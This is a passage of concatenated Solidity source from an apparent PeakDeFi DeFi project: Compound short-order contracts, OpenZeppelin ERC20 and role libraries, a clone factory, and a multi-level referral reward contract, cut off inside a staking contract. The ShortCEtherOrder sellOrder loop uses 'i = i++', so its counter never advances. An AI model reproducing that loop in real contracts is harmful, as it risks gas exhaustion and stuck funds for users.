CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(DEFAULT_LIQUIDITY_SLIPPAGE)).div(PRECISION)); if (errorCode != 0) { // error // try again with fallback slippage errorCode = CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(FALLBACK_LIQUIDITY_SLIPPAGE)).div(PRECISION)); if (errorCode != 0) { // error // try again with max slippage CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(MAX_LIQUIDITY_SLIPPAGE)).div(PRECISION)); } } } if (currentDebt <= NEGLIGIBLE_DEBT) { break; } } // Send USDC back to PeakDeFiFund and return _inputAmount = collateralAmountInUSDC; _outputAmount = usdc.balanceOf(address(this)); outputAmount = _outputAmount; usdc.safeTransfer(owner(), usdc.balanceOf(address(this))); } // Allows manager to repay loan to avoid liquidation function repayLoan(uint256 _repayAmountInUSDC) public onlyOwner { require(buyTime > 0); // Ensure the order has been executed // Convert USDC to shorting token (,uint256 actualTokenAmount) = __sellUSDCForToken(_repayAmountInUSDC); // Check if amount is greater than borrow balance CERC20 market = CERC20(compoundTokenAddr); uint256 currentDebt = market.borrowBalanceCurrent(address(this)); if (actualTokenAmount > currentDebt) { actualTokenAmount = currentDebt; } // Repay loan to Compound ERC20Detailed token = __underlyingToken(compoundTokenAddr); token.safeApprove(compoundTokenAddr, 0); token.safeApprove(compoundTokenAddr, actualTokenAmount); require(market.repayBorrow(actualTokenAmount) == 0); token.safeApprove(compoundTokenAddr, 0); } function getMarketCollateralFactor() public view returns (uint256) { (, uint256 ratio) = COMPTROLLER.markets(address(CUSDC)); return ratio; } function getCurrentCollateralInUSDC() public returns (uint256 _amount) { uint256 supply = CUSDC.balanceOf(address(this)).mul(CUSDC.exchangeRateCurrent()).div(PRECISION); return supply; } function getCurrentBorrowInUSDC() public returns (uint256 _amount) { CERC20 market = CERC20(compoundTokenAddr); uint256 borrow = __tokenToUSDC(compoundTokenAddr, market.borrowBalanceCurrent(address(this))); return borrow; } function getCurrentCashInUSDC() public view returns (uint256 _amount) { uint256 cash = getBalance(usdc, address(this)); return cash; } } pragma solidity 0.5.17; import "./CompoundOrder.sol"; contract ShortCEtherOrder is CompoundOrder { modifier isValidPrice(uint256 _minPrice, uint256 _maxPrice) { // Ensure token's price is between _minPrice and _maxPrice uint256 tokenPrice = ORACLE.getUnderlyingPrice(compoundTokenAddr); // Get the shorting token's price in USD require(tokenPrice > 0); // Ensure asset exists on Compound require(tokenPrice >= _minPrice && tokenPrice <= _maxPrice); // Ensure price is within range _; } function executeOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidToken(compoundTokenAddr) isValidPrice(_minPrice, _maxPrice) { buyTime = now; // Get funds in USDC from PeakDeFiFund usdc.safeTransferFrom(owner(), address(this), collateralAmountInUSDC); // Transfer USDC from PeakDeFiFund // Enter Compound markets CEther market = CEther(compoundTokenAddr); address[] memory markets = new address[](2); markets[0] = compoundTokenAddr; markets[1] = address(CUSDC); uint[] memory errors = COMPTROLLER.enterMarkets(markets); require(errors[0] == 0 && errors[1] == 0); // Get loan from Compound in tokenAddr uint256 loanAmountInToken = __usdcToToken(compoundTokenAddr, loanAmountInUSDC); usdc.safeApprove(address(CUSDC), 0); // Clear USDC allowance of Compound USDC market usdc.safeApprove(address(CUSDC), collateralAmountInUSDC); // Approve USDC transfer to Compound USDC market require(CUSDC.mint(collateralAmountInUSDC) == 0); // Transfer USDC into Compound as supply usdc.safeApprove(address(CUSDC), 0); require(market.borrow(loanAmountInToken) == 0);// Take out loan (bool negLiquidity, ) = getCurrentLiquidityInUSDC(); require(!negLiquidity); // Ensure account liquidity is positive // Convert loaned tokens to USDC (uint256 actualUSDCAmount,) = __sellTokenForUSDC(loanAmountInToken); loanAmountInUSDC = actualUSDCAmount; // Change loan amount to actual USDC received // Repay leftover tokens to avoid complications if (address(this).balance > 0) { uint256 repayAmount = address(this).balance; market.repayBorrow.value(repayAmount)(); } } function sellOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidPrice(_minPrice, _maxPrice) returns (uint256 _inputAmount, uint256 _outputAmount) { require(buyTime > 0); // Ensure the order has been executed require(isSold == false); isSold = true; // Siphon remaining collateral by repaying x USDC and getting back 1.5x USDC collateral // Repeat to ensure debt is exhausted for (uint256 i = 0; i < MAX_REPAY_STEPS; i = i++) { uint256 currentDebt = getCurrentBorrowInUSDC(); if (currentDebt > NEGLIGIBLE_DEBT) { // Determine amount to be repaid this step uint256 currentBalance = getCurrentCashInUSDC(); uint256 repayAmount = 0; // amount to be repaid in USDC if (currentDebt <= currentBalance) { // Has enough money, repay all debt repayAmount = currentDebt; } else { // Doesn't have enough money, repay whatever we can repay repayAmount = currentBalance; } // Repay debt repayLoan(repayAmount); } // Withdraw all available liquidity (bool isNeg, uint256 liquidity) = getCurrentLiquidityInUSDC(); if (!isNeg) { uint256 errorCode = CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(DEFAULT_LIQUIDITY_SLIPPAGE)).div(PRECISION)); if (errorCode != 0) { // error // try again with fallback slippage errorCode = CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(FALLBACK_LIQUIDITY_SLIPPAGE)).div(PRECISION)); if (errorCode != 0) { // error // try again with max slippage CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(MAX_LIQUIDITY_SLIPPAGE)).div(PRECISION)); } } } if (currentDebt <= NEGLIGIBLE_DEBT) { break; } } // Send USDC back to PeakDeFiFund and return _inputAmount = collateralAmountInUSDC; _outputAmount = usdc.balanceOf(address(this)); outputAmount = _outputAmount; usdc.safeTransfer(owner(), usdc.balanceOf(address(this))); } // Allows manager to repay loan to avoid liquidation function repayLoan(uint256 _repayAmountInUSDC) public onlyOwner { require(buyTime > 0); // Ensure the order has been executed // Convert USDC to shorting token (,uint256 actualTokenAmount) = __sellUSDCForToken(_repayAmountInUSDC); // Check if amount is greater than borrow balance CEther market = CEther(compoundTokenAddr); uint256 currentDebt = market.borrowBalanceCurrent(address(this)); if (actualTokenAmount > currentDebt) { actualTokenAmount = currentDebt; } // Repay loan to Compound market.repayBorrow.value(actualTokenAmount)(); } function getMarketCollateralFactor() public view returns (uint256) { (, uint256 ratio) = COMPTROLLER.markets(address(CUSDC)); return ratio; } function getCurrentCollateralInUSDC() public returns (uint256 _amount) { uint256 supply = CUSDC.balanceOf(address(this)).mul(CUSDC.exchangeRateCurrent()).div(PRECISION); return supply; } function getCurrentBorrowInUSDC() public returns (uint256 _amount) { CEther market = CEther(compoundTokenAddr); uint256 borrow = __tokenToUSDC(compoundTokenAddr, market.borrowBalanceCurrent(address(this))); return borrow; } function getCurrentCashInUSDC() public view returns (uint256 _amount) { uint256 cash = getBalance(usdc, address(this)); return cash; } } pragma solidity 0.5.17; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } pragma solidity 0.5.17; interface IMiniMeToken { function balanceOf(address _owner) external view returns (uint256 balance); function totalSupply() external view returns(uint); function generateTokens(address _owner, uint _amount) external returns (bool); function destroyTokens(address _owner, uint _amount) external returns (bool); function totalSupplyAt(uint _blockNumber) external view returns(uint); function balanceOfAt(address _holder, uint _blockNumber) external view returns (uint); function transferOwnership(address newOwner) external; } pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; function __initReentrancyGuard() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } pragma solidity 0.5.17; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } constructor() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.17; // interface for contract_v6/UniswapOracle.sol interface IUniswapOracle { function update() external returns (bool success); function consult(address token, uint256 amountIn) external view returns (uint256 amountOut); } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Capped.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; contract PeakToken is ERC20, ERC20Detailed, ERC20Capped, ERC20Burnable { constructor( string memory name, string memory symbol, uint8 decimals, uint256 cap ) ERC20Detailed(name, symbol, decimals) ERC20Capped(cap) public {} } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } pragma solidity ^0.5.0; import "./ERC20Mintable.sol"; /** * @dev Extension of {ERC20Mintable} that adds a cap to the supply of tokens. */ contract ERC20Capped is ERC20Mintable { uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor (uint256 cap) public { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return _cap; } /** * @dev See {ERC20Mintable-mint}. * * Requirements: * * - `value` must not cause the total supply to go over the cap. */ function _mint(address account, uint256 value) internal { require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded"); super._mint(account, value); } } pragma solidity ^0.5.0; import "./ERC20.sol"; import "../../access/roles/MinterRole.sol"; /** * @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "../Roles.sol"; contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/access/roles/SignerRole.sol"; import "../staking/PeakStaking.sol"; import "../PeakToken.sol"; import "../IUniswapOracle.sol"; contract PeakReward is SignerRole { using SafeMath for uint256; using SafeERC20 for IERC20; event Register(address user, address referrer); event RankChange(address user, uint256 oldRank, uint256 newRank); event PayCommission( address referrer, address recipient, address token, uint256 amount, uint8 level ); event ChangedCareerValue(address user, uint256 changeAmount, bool positive); event ReceiveRankReward(address user, uint256 peakReward); modifier regUser(address user) { if (!isUser[user]) { isUser[user] = true; emit Register(user, address(0)); } _; } uint256 public constant PEAK_MINT_CAP = 5 * 10**15; // 50 million PEAK uint256 internal constant COMMISSION_RATE = 20 * (10**16); // 20% uint256 internal constant PEAK_PRECISION = 10**8; uint256 internal constant USDC_PRECISION = 10**6; uint8 internal constant COMMISSION_LEVELS = 8; mapping(address => address) public referrerOf; mapping(address => bool) public isUser; mapping(address => uint256) public careerValue; // AKA DSV mapping(address => uint256) public rankOf; mapping(uint256 => mapping(uint256 => uint256)) public rankReward; // (beforeRank, afterRank) => rewardInPeak mapping(address => mapping(uint256 => uint256)) public downlineRanks; // (referrer, rank) => numReferredUsersWithRank uint256[] public commissionPercentages; uint256[] public commissionStakeRequirements; uint256 public mintedPeakTokens; address public marketPeakWallet; PeakStaking public peakStaking; PeakToken public peakToken; address public stablecoin; IUniswapOracle public oracle; constructor( address _marketPeakWallet, address _peakStaking, address _peakToken, address _stablecoin, address _oracle ) public { // initialize commission percentages for each level commissionPercentages.push(10 * (10**16)); // 10% commissionPercentages.push(4 * (10**16)); // 4% commissionPercentages.push(2 * (10**16)); // 2% commissionPercentages.push(1 * (10**16)); // 1% commissionPercentages.push(1 * (10**16)); // 1% commissionPercentages.push(1 * (10**16)); // 1% commissionPercentages.push(5 * (10**15)); // 0.5% commissionPercentages.push(5 * (10**15)); // 0.5% // initialize commission stake requirements for each level commissionStakeRequirements.push(0); commissionStakeRequirements.push(PEAK_PRECISION.mul(2000)); commissionStakeRequirements.push(PEAK_PRECISION.mul(4000)); commissionStakeRequirements.push(PEAK_PRECISION.mul(6000)); commissionStakeRequirements.push(PEAK_PRECISION.mul(7000)); commissionStakeRequirements.push(PEAK_PRECISION.mul(8000)); commissionStakeRequirements.push(PEAK_PRECISION.mul(9000)); commissionStakeRequirements.push(PEAK_PRECISION.mul(10000)); // initialize rank rewards for (uint256 i = 0; i < 8; i = i.add(1)) { uint256 rewardInUSDC = 0; for (uint256 j = i.add(1); j <= 8; j = j.add(1)) { if (j == 1) { rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(100)); } else if (j == 2) { rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(300)); } else if (j == 3) { rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(600)); } else if (j == 4) { rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(1200)); } else if (j == 5) { rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(2400)); } else if (j == 6) { rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(7500)); } else if (j == 7) { rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(15000)); } else { rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(50000)); } rankReward[i][j] = rewardInUSDC; } } marketPeakWallet = _marketPeakWallet; peakStaking = PeakStaking(_peakStaking); peakToken = PeakToken(_peakToken); stablecoin = _stablecoin; oracle = IUniswapOracle(_oracle); } /** @notice Registers a group of referrals relationship. @param users The array of users @param referrers The group of referrers of `users` */ function multiRefer(address[] calldata users, address[] calldata referrers) external onlySigner { require(users.length == referrers.length, "PeakReward: arrays length are not equal"); for (uint256 i = 0; i < users.length; i++) { refer(users[i], referrers[i]); } } /** @notice Registers a referral relationship @param user The user who is being referred @param referrer The referrer of `user` */ function refer(address user, address referrer) public onlySigner { require(!isUser[user], "PeakReward: referred is already a user"); require(user != referrer, "PeakReward: can't refer self"); require( user != address(0) && referrer != address(0), "PeakReward: 0 address" ); isUser[user] = true; isUser[referrer] = true; referrerOf[user] = referrer; downlineRanks[referrer][0] = downlineRanks[referrer][0].add(1); emit Register(user, referrer); } function canRefer(address user, address referrer) public view returns (bool) { return !isUser[user] && user != referrer && user != address(0) && referrer != address(0); } /** @notice Distributes commissions to a referrer and their referrers @param referrer The referrer who will receive commission @param commissionToken The ERC20 token that the commission is paid in @param rawCommission The raw commission that will be distributed amongst referrers @param returnLeftovers If true, leftover commission is returned to the sender. If false, leftovers will be paid to MarketPeak. */ function payCommission( address referrer, address commissionToken, uint256 rawCommission, bool returnLeftovers ) public regUser(referrer) onlySigner returns (uint256 leftoverAmount) { // transfer the raw commission from `msg.sender` IERC20 token = IERC20(commissionToken); token.safeTransferFrom(msg.sender, address(this), rawCommission); // payout commissions to referrers of different levels address ptr = referrer; uint256 commissionLeft = rawCommission; uint8 i = 0; while (ptr != address(0) && i < COMMISSION_LEVELS) { if (_peakStakeOf(ptr) >= commissionStakeRequirements[i]) { // referrer has enough stake, give commission uint256 com = rawCommission.mul(commissionPercentages[i]).div( COMMISSION_RATE ); if (com > commissionLeft) { com = commissionLeft; } token.safeTransfer(ptr, com); commissionLeft = commissionLeft.sub(com); if (commissionToken == address(peakToken)) { incrementCareerValueInPeak(ptr, com); } else if (commissionToken == stablecoin) { incrementCareerValueInUsdc(ptr, com); } emit PayCommission(referrer, ptr, commissionToken, com, i); } ptr = referrerOf[ptr]; i += 1; } // handle leftovers if (returnLeftovers) { // return leftovers to `msg.sender` token.safeTransfer(msg.sender, commissionLeft); return commissionLeft; } else { // give leftovers to MarketPeak wallet token.safeTransfer(marketPeakWallet, commissionLeft); return 0; } } /** @notice Increments a user's career value @param user The user @param incCV The CV increase amount, in Usdc */ function incrementCareerValueInUsdc(address user, uint256 incCV) public regUser(user) onlySigner { careerValue[user] = careerValue[user].add(incCV); emit ChangedCareerValue(user, incCV, true); } /** @notice Increments a user's career value @param user The user @param incCVInPeak The CV increase amount, in PEAK tokens */ function incrementCareerValueInPeak(address user, uint256 incCVInPeak) public regUser(user) onlySigner { uint256 peakPriceInUsdc = _getPeakPriceInUsdc(); uint256 incCVInUsdc = incCVInPeak.mul(peakPriceInUsdc).div( PEAK_PRECISION ); careerValue[user] = careerValue[user].add(incCVInUsdc); emit ChangedCareerValue(user, incCVInUsdc, true); } /** @notice Returns a user's rank in the PeakDeFi system based only on career value @param user The user whose rank will be queried */ function cvRankOf(address user) public view returns (uint256) { uint256 cv = careerValue[user]; if (cv < USDC_PRECISION.mul(100)) { return 0; } else if (cv < USDC_PRECISION.mul(250)) { return 1; } else if (cv < USDC_PRECISION.mul(750)) { return 2; } else if (cv < USDC_PRECISION.mul(1500)) { return 3; } else if (cv < USDC_PRECISION.mul(3000)) { return 4; } else if (cv < USDC_PRECISION.mul(10000)) { return 5; } else if (cv < USDC_PRECISION.mul(50000)) { return 6; } else if (cv < USDC_PRECISION.mul(150000)) { return 7; } else { return 8; } } function rankUp(address user) external { // verify rank up conditions uint256 currentRank = rankOf[user]; uint256 cvRank = cvRankOf(user); require(cvRank > currentRank, "PeakReward: career value is not enough!"); require(downlineRanks[user][currentRank] >= 2 || currentRank == 0, "PeakReward: downlines count and requirement not passed!"); // Target rank always should be +1 rank from current rank uint256 targetRank = currentRank + 1; // increase user rank rankOf[user] = targetRank; emit RankChange(user, currentRank, targetRank); address referrer = referrerOf[user]; if (referrer != address(0)) { downlineRanks[referrer][targetRank] = downlineRanks[referrer][targetRank] .add(1); downlineRanks[referrer][currentRank] = downlineRanks[referrer][currentRank] .sub(1); } // give user rank reward uint256 rewardInPeak = rankReward[currentRank][targetRank] .mul(PEAK_PRECISION) .div(_getPeakPriceInUsdc()); if (mintedPeakTokens.add(rewardInPeak) <= PEAK_MINT_CAP) { // mint if under cap, do nothing if over cap mintedPeakTokens = mintedPeakTokens.add(rewardInPeak); peakToken.mint(user, rewardInPeak); emit ReceiveRankReward(user, rewardInPeak); } } function canRankUp(address user) external view returns (bool) { uint256 currentRank = rankOf[user]; uint256 cvRank = cvRankOf(user); return (cvRank > currentRank) && (downlineRanks[user][currentRank] >= 2 || currentRank == 0); } /** @notice Returns a user's current staked PEAK amount, scaled by `PEAK_PRECISION`. @param user The user whose stake will be queried */ function _peakStakeOf(address user) internal view returns (uint256) { return peakStaking.userStakeAmount(user); } /** @notice Returns the price of PEAK token in Usdc, scaled by `USDC_PRECISION`. */ function _getPeakPriceInUsdc() internal returns (uint256) { oracle.update(); uint256 priceInUSDC = oracle.consult(address(peakToken), PEAK_PRECISION); if (priceInUSDC == 0) { return USDC_PRECISION.mul(3).div(10); } return priceInUSDC; } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "../Roles.sol"; contract SignerRole is Context { using Roles for Roles.Role; event SignerAdded(address indexed account); event SignerRemoved(address indexed account); Roles.Role private _signers; constructor () internal { _addSigner(_msgSender()); } modifier onlySigner() { require(isSigner(_msgSender()), "SignerRole: caller does not have the Signer role"); _; } function isSigner(address account) public view returns (bool) { return _signers.has(account); } function addSigner(address account) public onlySigner { _addSigner(account); } function renounceSigner() public { _removeSigner(_msgSender()); } function _addSigner(address account) internal { _signers.add(account); emit SignerAdded(account); } function _removeSigner(address account) internal { _signers.remove(account); emit SignerRemoved(account); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../reward/PeakReward.sol"; import "../PeakToken.sol"; contract PeakStaking { using SafeMath for uint256; using SafeERC20 for PeakToken; event CreateStake( uint256 idx, address user, address referrer, uint256 stakeAmount, uint256 stakeTimeInDays, uint256 interestAmount ); event ReceiveStakeReward(uint256 idx, address user, uint256 rewardAmount); event WithdrawReward(uint256 idx, address user, uint256 rewardAmount); event WithdrawStake(uint256 idx, address user); uint256 internal constant PRECISION = 10**18; uint256 internal constant PEAK_PRECISION = 10**8; uint256 internal constant INTEREST_SLOPE = 2 * (10**8); // Interest rate factor drops to 0 at 5B mintedPeakTokens uint256 internal constant BIGGER_BONUS_DIVISOR = 10**15; // biggerBonus 